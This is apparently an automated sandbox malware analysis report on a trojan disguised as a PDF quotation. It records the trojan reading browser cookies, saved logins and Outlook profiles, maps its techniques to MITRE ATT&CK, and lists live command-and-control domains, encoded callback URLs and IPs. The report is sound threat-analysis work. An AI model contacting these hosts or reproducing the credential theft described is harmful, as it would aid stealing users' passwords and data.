Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1643178908.0000000006880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3137237939.0000000005230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134393651.0000000003290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3130613752.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3134403470.0000000003B70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1641218754.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134574203.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1642068110.0000000004A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\RMActivate_isv.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Quotation request -30112024_pdf.exe	Binary or memory string: WIN_XP
Source: Quotation request -30112024_pdf.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: Quotation request -30112024_pdf.exe	Binary or memory string: WIN_XPe
Source: Quotation request -30112024_pdf.exe	Binary or memory string: WIN_VISTA
Source: Quotation request -30112024_pdf.exe	Binary or memory string: WIN_7
Source: Quotation request -30112024_pdf.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1643178908.0000000006880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3137237939.0000000005230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134393651.0000000003290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3130613752.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3134403470.0000000003B70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1641218754.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134574203.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1642068110.0000000004A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	2_2_004652BE
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	2_2_00476619
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	2_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	16 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	3 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Quotation request -30112024_pdf.exe	63%	ReversingLabs	Win32.Trojan.AutoitInject
Quotation request -30112024_pdf.exe	100%	Avira	HEUR/AGEN.1321703
Quotation request -30112024_pdf.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.egyshare.xyz/lu7u/	0%	Avira URL Cloud	safe
http://www.cssa.auction/g4fs/?0PIXBf9=3ndIaHiqeNA3nHGd8AHkXwlYF1OgixBFyjUlI87s5QAdbYlY5Sf7asAsxRx6tHqc14Nk2leX0TZcqtK/n28nLOTw2Vfuiiw8TGap3DrxCRua9Dp2yMpF4VwKHEspiCTWJ2CwkW3F1CDu&tD_=f00xUVKh	0%	Avira URL Cloud	safe
http://www.mdpc7.top	0%	Avira URL Cloud	safe
http://www.tals.xyz/010v/?0PIXBf9=2DU2m0hj/03yT64ZAvV34ivg7uPA4dfBDsSIbuQmFBnlUt8YBQQ14XEnB00q3iyOSDF3P+nMuqVdWH+dOv2myK47+wAnbzEdrDFKM4GnqLu4eJ36TYO1rG1EAVouommahjHXUR9pmevZ&tD_=f00xUVKh	0%	Avira URL Cloud	safe
http://www.tals.xyz/010v/	0%	Avira URL Cloud	safe
http://www.cssa.auction/g4fs/	0%	Avira URL Cloud	safe
http://www.ytsd88.top/yysf/?0PIXBf9=6v+kdCMiu5/5470MX9lzQyj8/+WeB1VHD3zgv43+rVSd7gkLKIFyovo7JjBoxgRqvXZx1v1SEu244MoSpwzCrGiBlqOxipli+BYTnOI67OOyvHeuq/FHXkVErKkJ9HuzEweZBdUTs+cq&tD_=f00xUVKh	0%	Avira URL Cloud	safe
http://www.startvin.top/chrv/	0%	Avira URL Cloud	safe
http://www.egyshare.xyz/lu7u/?tD_=f00xUVKh&0PIXBf9=yZTmjXW21Nq5wh91IMf/kDRGkUZ+XT2lkv3n4X6DMmMz0B5xbYyQHfDnacj01uuzec64BAri/1xnyBkH0yVWWE7yUWUVCQJ95ExXsfUTBKKOk42MManlE2uXf/wCPPD1XSw9siMiJ2ze	0%	Avira URL Cloud	safe
https://kb.fastpanel.direct/troubleshoot/	0%	Avira URL Cloud	safe
http://www.mdpc7.top/55tt/?0PIXBf9=Ogm+Zpk+8l6HQ6PINDlmGUkcF8k7x5YOd8W05nhCgxhbbgxSQo8C646ORpAxt2ba51M1bpBVlaSpASxEjtHc742t+MiRm52SMn9uh/BsfFsC8+xAemM0t+vEaw1VEDnH1Ike7P0+r0HF&tD_=f00xUVKh	0%	Avira URL Cloud	safe
http://www.bionanosolutions.info/i6zb/	0%	Avira URL Cloud	safe
http://www.mdpc7.top/55tt/	0%	Avira URL Cloud	safe
http://www.bionanosolutions.info/i6zb/?0PIXBf9=6B2/7Ngl58s2pznOHRe+vJ9NgeSMQEkiwdm42/mNvrNW/DcFgEbztbyoGAni7ddU1GsG6dsX45s7M+CgnpRasEd6qu0hZk1EhvCSzFnjn53BAZCqqKYjVrue1TDSDBq9qg8+DFp/ZHMc&tD_=f00xUVKh	0%	Avira URL Cloud	safe
http://www.acc888ommodate.xyz/aqil/?tD_=f00xUVKh&0PIXBf9=+VwoEzPaDs0s7aELp9mEitaybqlo9Ma6vB91+jO83mkKcBs1X1DQL/6P3P2ZQT9OHqbgLgcpvVmqnE/hn02MtVwUieIUVcwPPIBQaGnRdw6ZzI3y7/51wpZ1zsNtMrZa/5ef5+yRkwqf	0%	Avira URL Cloud	safe
http://www.070002018.xyz/zffa/	0%	Avira URL Cloud	safe
http://www.startvin.top/chrv/?tD_=f00xUVKh&0PIXBf9=oqIvPuLKU6ipUF0l0s9jGwC5Rs+ISH+IiXTOUljk/btMUGhxXUhy/ROn8iRvBZThJHrBfDF95d/bLV86djItjxOaoccx9TISaPCf4hbQm/G+Yq+LkHY0VTYNMEk+ymSz3ZEiRr7ur/of	0%	Avira URL Cloud	safe
http://www.acc888ommodate.xyz/aqil/	0%	Avira URL Cloud	safe
http://www.070002018.xyz/zffa/?0PIXBf9=Lr0UKEZNgDTJN6gT+Us371Y8hMyDvaQkpz1n9V5B19O6mDyNa8d38Q+pA9qLUvQ8A8Z/r2CCV5OH4hlRsxt9M39/KtueIxj6h2UJ95Aou8NDO7hK3C23zz+4LvY5JlduZs+ECZ1LIizb&tD_=f00xUVKh	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.bionanosolutions.info	176.117.73.104	true	true	unknown
www.070002018.xyz	161.97.142.144	true	true	unknown
www.startvin.top	203.161.46.205	true	true	unknown
www.tals.xyz	13.248.169.48	true	true	unknown
mmd.dnsmmd.com	20.2.36.112	true	true	unknown
www.ytsd88.top	47.76.213.197	true	true	unknown
www.acc888ommodate.xyz	176.32.38.130	true	true	unknown
cssa.auction	107.167.84.42	true	true	unknown
www.egyshare.xyz	13.248.169.48	true	true	unknown
phoenix88.sbs	88.99.61.52	true	false	unknown
www.mdpc7.top	unknown	unknown	false	unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false	unknown
www.cssa.auction	unknown	unknown	false	unknown
www.phoenix88.sbs	unknown	unknown	false	unknown
www.uynline.shop	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.egyshare.xyz/lu7u/	true	Avira URL Cloud: safe	unknown
http://www.ytsd88.top/yysf/?0PIXBf9=6v+kdCMiu5/5470MX9lzQyj8/+WeB1VHD3zgv43+rVSd7gkLKIFyovo7JjBoxgRqvXZx1v1SEu244MoSpwzCrGiBlqOxipli+BYTnOI67OOyvHeuq/FHXkVErKkJ9HuzEweZBdUTs+cq&tD_=f00xUVKh	true	Avira URL Cloud: safe	unknown
http://www.tals.xyz/010v/	true	Avira URL Cloud: safe	unknown
http://www.cssa.auction/g4fs/?0PIXBf9=3ndIaHiqeNA3nHGd8AHkXwlYF1OgixBFyjUlI87s5QAdbYlY5Sf7asAsxRx6tHqc14Nk2leX0TZcqtK/n28nLOTw2Vfuiiw8TGap3DrxCRua9Dp2yMpF4VwKHEspiCTWJ2CwkW3F1CDu&tD_=f00xUVKh	true	Avira URL Cloud: safe	unknown
http://www.tals.xyz/010v/?0PIXBf9=2DU2m0hj/03yT64ZAvV34ivg7uPA4dfBDsSIbuQmFBnlUt8YBQQ14XEnB00q3iyOSDF3P+nMuqVdWH+dOv2myK47+wAnbzEdrDFKM4GnqLu4eJ36TYO1rG1EAVouommahjHXUR9pmevZ&tD_=f00xUVKh	true	Avira URL Cloud: safe	unknown
http://www.egyshare.xyz/lu7u/?tD_=f00xUVKh&0PIXBf9=yZTmjXW21Nq5wh91IMf/kDRGkUZ+XT2lkv3n4X6DMmMz0B5xbYyQHfDnacj01uuzec64BAri/1xnyBkH0yVWWE7yUWUVCQJ95ExXsfUTBKKOk42MManlE2uXf/wCPPD1XSw9siMiJ2ze	true	Avira URL Cloud: safe	unknown
http://www.cssa.auction/g4fs/	true	Avira URL Cloud: safe	unknown
http://www.startvin.top/chrv/	true	Avira URL Cloud: safe	unknown
http://www.bionanosolutions.info/i6zb/	true	Avira URL Cloud: safe	unknown
http://www.startvin.top/chrv/?tD_=f00xUVKh&0PIXBf9=oqIvPuLKU6ipUF0l0s9jGwC5Rs+ISH+IiXTOUljk/btMUGhxXUhy/ROn8iRvBZThJHrBfDF95d/bLV86djItjxOaoccx9TISaPCf4hbQm/G+Yq+LkHY0VTYNMEk+ymSz3ZEiRr7ur/of	true	Avira URL Cloud: safe	unknown
http://www.070002018.xyz/zffa/	true	Avira URL Cloud: safe	unknown
http://www.mdpc7.top/55tt/?0PIXBf9=Ogm+Zpk+8l6HQ6PINDlmGUkcF8k7x5YOd8W05nhCgxhbbgxSQo8C646ORpAxt2ba51M1bpBVlaSpASxEjtHc742t+MiRm52SMn9uh/BsfFsC8+xAemM0t+vEaw1VEDnH1Ike7P0+r0HF&tD_=f00xUVKh	true	Avira URL Cloud: safe	unknown
http://www.mdpc7.top/55tt/	true	Avira URL Cloud: safe	unknown
http://www.acc888ommodate.xyz/aqil/?tD_=f00xUVKh&0PIXBf9=+VwoEzPaDs0s7aELp9mEitaybqlo9Ma6vB91+jO83mkKcBs1X1DQL/6P3P2ZQT9OHqbgLgcpvVmqnE/hn02MtVwUieIUVcwPPIBQaGnRdw6ZzI3y7/51wpZ1zsNtMrZa/5ef5+yRkwqf	true	Avira URL Cloud: safe	unknown
http://www.070002018.xyz/zffa/?0PIXBf9=Lr0UKEZNgDTJN6gT+Us371Y8hMyDvaQkpz1n9V5B19O6mDyNa8d38Q+pA9qLUvQ8A8Z/r2CCV5OH4hlRsxt9M39/KtueIxj6h2UJ95Aou8NDO7hK3C23zz+4LvY5JlduZs+ECZ1LIizb&tD_=f00xUVKh	true	Avira URL Cloud: safe	unknown
http://www.bionanosolutions.info/i6zb/?0PIXBf9=6B2/7Ngl58s2pznOHRe+vJ9NgeSMQEkiwdm42/mNvrNW/DcFgEbztbyoGAni7ddU1GsG6dsX45s7M+CgnpRasEd6qu0hZk1EhvCSzFnjn53BAZCqqKYjVrue1TDSDBq9qg8+DFp/ZHMc&tD_=f00xUVKh	true	Avira URL Cloud: safe	unknown
http://www.acc888ommodate.xyz/aqil/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kb.fastpanel.direct/troubleshoot/	RMActivate_isv.exe, 0000000B.00000002.3135956729.00000000043CA000.00000004.10000000.00040000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3138038480.0000000006420000.00000004.00000800.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000002.3135190589.000000000369A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bt.cn/?from=404	RMActivate_isv.exe, 0000000B.00000002.3135956729.00000000040A6000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000002.3135190589.0000000003376000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2000496930.0000000028E66000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mdpc7.top	xvYhLzczmazJ.exe, 0000000C.00000002.3137237939.00000000052A4000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	RMActivate_isv.exe, 0000000B.00000002.3135956729.0000000004BA4000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000002.3135190589.0000000003E74000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RMActivate_isv.exe, 0000000B.00000002.3138251164.0000000007EFB000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.tals.xyz	United States	16509	AMAZON-02US	true
161.97.142.144	www.070002018.xyz	United States	51167	CONTABODE	true
47.76.213.197	www.ytsd88.top	United States	9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	true
20.2.36.112	mmd.dnsmmd.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
176.117.73.104	www.bionanosolutions.info	Ukraine	50643	LURENET-ASUA	true
203.161.46.205	www.startvin.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
176.32.38.130	www.acc888ommodate.xyz	Russian Federation	51659	ASBAXETRU	true
107.167.84.42	cssa.auction	United States	53755	IOFLOODUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557571
Start date and time:	2024-11-18 13:10:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Quotation request -30112024_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@15/8
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 92% Number of executed functions: 65 Number of non-executed functions: 295
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Quotation request -30112024_pdf.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.wajf.net/dkz5/
	rG5EzfUhUp.exe	Get hash	malicious	Sakula RAT	Browse	www.polarroute.com/newimage.asp?imageid=zcddwc1730788541&type=0&resid=5322796
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	www.extrem.tech/ikn1/
	Hire P.O.exe	Get hash	malicious	FormBook	Browse	www.sonoscan.org/ew98/
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.hopeisa.live/v0jl/
	DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exe	Get hash	malicious	FormBook	Browse	www.layerzero.cfd/8f5m/
	rGO880-PDF.exe	Get hash	malicious	FormBook	Browse	www.reviewpro.shop/aclh/
	FOTO#U011eRAFLAR.exe	Get hash	malicious	FormBook	Browse	www.fitlook.shop/34uy/
	Swift MT1O3 Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	FormBook	Browse	www.dreampay.shop/a18n/?mRu=GNYnn+/HdyV8duRMqtcyXm0xy6A5R7OP0g3qQsxli+rcIWT14zRUDqgxNRAzolcecH8yu9AKKAak4SdSyZ6RvIdAVt2QUT1IwNlPBAoCd8CxXhf8uuYrVNc=&UJ=7H1XM
	Order.exe	Get hash	malicious	FormBook	Browse	www.sonoscan.org/ew98/
161.97.142.144	DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exe	Get hash	malicious	FormBook	Browse	www.030003794.xyz/mpp6/
	PO-DC13112024_pdf.vbs	Get hash	malicious	Unknown	Browse	www.030002350.xyz/wrcq/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.030003452.xyz/7nfi/
	AWB_NO_907853880911.exe	Get hash	malicious	FormBook	Browse	www.030002059.xyz/er88/
	ByuoedHi2e.exe	Get hash	malicious	FormBook	Browse	www.030003582.xyz/7zm7/
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.030002128.xyz/knx2/
	56ck70s0BI.exe	Get hash	malicious	FormBook	Browse	www.030002832.xyz/o2wj/
	H1CYDJ8LQe.exe	Get hash	malicious	FormBook	Browse	www.030002832.xyz/l9k5/
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	www.030002832.xyz/o2wj/?Q2_4=6LtjBDJj0uphlWGPUfsWns8NqP5UEL6FPz1cDqFjhhwngDvwQ5o3u1RN/IkqtEFfAoNcvBtCSqAXdbdyLf0jo5EGqFac5ns//rYVLRsufIrNIa29XQHyhaQ=&uXP=1HX8
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/jkxr/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mmd.dnsmmd.com	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	20.2.36.112

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	pennicle.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	47.79.48.182
	https://sos-at-vie-1.exo.io/bucketrack/dir62/final/asgrd/bot-check-v1.html	Get hash	malicious	Unknown	Browse	47.79.48.182
	https://sos-at-vie-1.exo.io/bucketrack/dir62/final/prove-not-robot-check.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	47.79.48.182
	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	47.76.235.18
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	49.224.236.63
	speedtest-cli.arm5.elf	Get hash	malicious	Mirai	Browse	118.92.187.4
	xX1k6Ghe8s.elf	Get hash	malicious	Mirai	Browse	47.76.171.133
	arm5.elf	Get hash	malicious	Mirai	Browse	118.95.51.127
	bin.arm.elf	Get hash	malicious	Mirai	Browse	121.75.97.174
	drivers-v1.ps1	Get hash	malicious	LummaC	Browse	47.79.48.189
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://login.nojustgive.com/ueAQYUzz	Get hash	malicious	HTMLPhisher	Browse	20.189.173.13
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.89.179.9
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://jammyjetscorp.uk/PurchaseLedgerRemittanceAdvice/PDF	Get hash	malicious	Unknown	Browse	13.107.246.45
	I_ Ultima richiesta di pagamento finale per Cuzziol beverage s_r_l__.msg	Get hash	malicious	Mint Stealer	Browse	52.109.28.47
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://app.powerbi.com/view?r=eyJrIjoiNjcyNzQ5NzAtNzgyNy00ZWU4LWI0YmEtNWI2ZTg2NjRlMzE2IiwidCI6ImJkMWRiODMyLWYwY2QtNDRiNS04ZTNjLTYxMmNlY2NhMjQ4ZSJ9&dp=688235	Get hash	malicious	Unknown	Browse	13.73.248.4
AMAZON-02US	https://discover.smartsheet.com/api/mailings/opened/PMRGSZBCHI2TAOBYGQ4DGMRMEJXXEZZCHIRDKM3GGYYWGZJTFU3DIZDEFU2DEMRUFU4DSNDGFVSTEYZQGYYWIMZSHA3DIIRMEJ3GK4TTNFXW4IR2EI2CELBCONUWOIR2EJ3DSV2VNA4U2V2WL5IGISJWGQZVK2ZTIFXXQ2KUGBUXSSJWPJSXA6DPN5TESQSXJFVESWJ5EJ6Q====.gif	Get hash	malicious	Unknown	Browse	44.230.175.247
